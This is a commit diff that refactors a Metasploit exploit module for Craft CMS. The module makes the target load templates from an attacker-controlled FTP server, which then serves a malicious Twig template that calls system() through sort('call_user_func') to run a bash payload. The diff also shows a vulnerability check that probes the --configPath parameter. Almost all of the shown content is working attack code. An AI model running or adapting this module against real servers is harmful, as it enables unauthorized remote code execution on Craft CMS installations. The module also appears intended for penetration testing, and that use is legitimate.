Skip to content

Commit 928634b

Browse files
committed
Minor fixes and improvements
1 parent 37dff52 commit 928634b

File tree

1 file changed

+40
-11
lines changed

1 file changed

+40
-11
lines changed

modules/exploits/linux/http/craftcms_ftp_template.rb

Lines changed: 40 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ def initialize(info = {})
3232
'License' => MSF_LICENSE,
3333
'Privileged' => false,
3434
'Platform' => %w[unix linux],
35-
'Arch' => [ARCH_PHP, ARCH_CMD],
35+
'Arch' => [ARCH_CMD],
3636
'Targets' => [
3737
[
3838
'Unix/Linux Command Shell', {
@@ -53,6 +53,10 @@ def initialize(info = {})
5353
)
5454
end
5555

56+
def vulnerable_file_list
57+
%w[/default/index.twig /default/index.html]
58+
end
59+
5660
def get_payload
5761
"{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
5862
end
@@ -106,17 +110,29 @@ def on_client_command_cwd(cli, arg)
106110

107111
def on_client_command_type(cli, arg)
108112
vprint_status('on_client_command_type')
109-
arg == 'I' ? send_ftp_response(cli, 200, 'Type set to: Binary.') : send_ftp_response(cli, 500, 'Unknown type.')
113+
if arg == 'I'
114+
send_ftp_response(cli, 200, 'Type set to: Binary.')
115+
else
116+
send_ftp_response(cli, 500, 'Unknown type.')
117+
end
110118
end
111119

112120
def on_client_command_size(cli, arg)
113121
vprint_status('on_client_command_size')
114-
arg == '/default/index.twig' ? send_ftp_response(cli, 213, get_payload.length.to_s) : send_ftp_response(cli, 550, "#{arg} is not retrievable.")
122+
if vulnerable_file_list.include?(arg)
123+
send_ftp_response(cli, 213, get_payload.length.to_s)
124+
else
125+
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
126+
end
115127
end
116128

117129
def on_client_command_mdtm(cli, arg)
118130
vprint_status('on_client_command_mdtm')
119-
arg == '/default/index.twig' ? send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) : send_ftp_response(cli, 550, "#{arg} is not retrievable.")
131+
if vulnerable_file_list.include?(arg)
132+
send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
133+
else
134+
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
135+
end
120136
end
121137

122138
def on_client_command_epsv(cli, _arg)
@@ -126,7 +142,7 @@ def on_client_command_epsv(cli, _arg)
126142

127143
def on_client_command_retr(cli, arg)
128144
vprint_status('on_client_command_retr')
129-
if ['/default/index.twig', '/default/index.html'].include?(arg)
145+
if vulnerable_file_list.include?(arg)
130146
conn = establish_data_connection(cli)
131147
unless conn
132148
send_ftp_response(cli, 425, "Can't open data connection.")
@@ -162,28 +178,41 @@ def check
162178
'method' => 'GET',
163179
'vars_get' => { '--configPath' => "/#{nonce}" }
164180
)
165-
res&.body&.include?('mkdir()') && res.body.include?(nonce) ? CheckCode::Vulnerable : CheckCode::Safe
181+
182+
if res&.body&.include?('mkdir()') && res&.body&.include?(nonce)
183+
CheckCode::Vulnerable
184+
else
185+
CheckCode::Safe
186+
end
166187
end
167188

168189
def trigger_http_request
169190
vprint_status('Triggering HTTP request...')
170191
templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
171192
send_request_raw(
172193
'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
173-
'method' => 'GET',
174-
'headers' => { 'User-Agent' => 'Mozilla/5.0' }
194+
'method' => 'GET'
175195
)
176196
rescue StandardError => e
177197
vprint_error("HTTP request failed: #{e.message}")
178198
end
179199

200+
def start_ftp_service
201+
if datastore['SSL'] == true
202+
reset_ssl = true
203+
datastore['SSL'] = false
204+
end
205+
start_service
206+
if reset_ssl
207+
datastore['SSL'] = true
208+
end
209+
end
210+
180211
def exploit
181212
vprint_status('Starting FTP service...')
182-
start_service
213+
start_ftp_service
183214
vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
184215
vprint_status('Sending HTTP request to trigger the payload...')
185216
trigger_http_request
186-
vprint_status('Waiting for FTP client connections...')
187-
vprint_status('Shutting down FTP service...')
188217
end
189218
end

0 commit comments

Comments
 (0)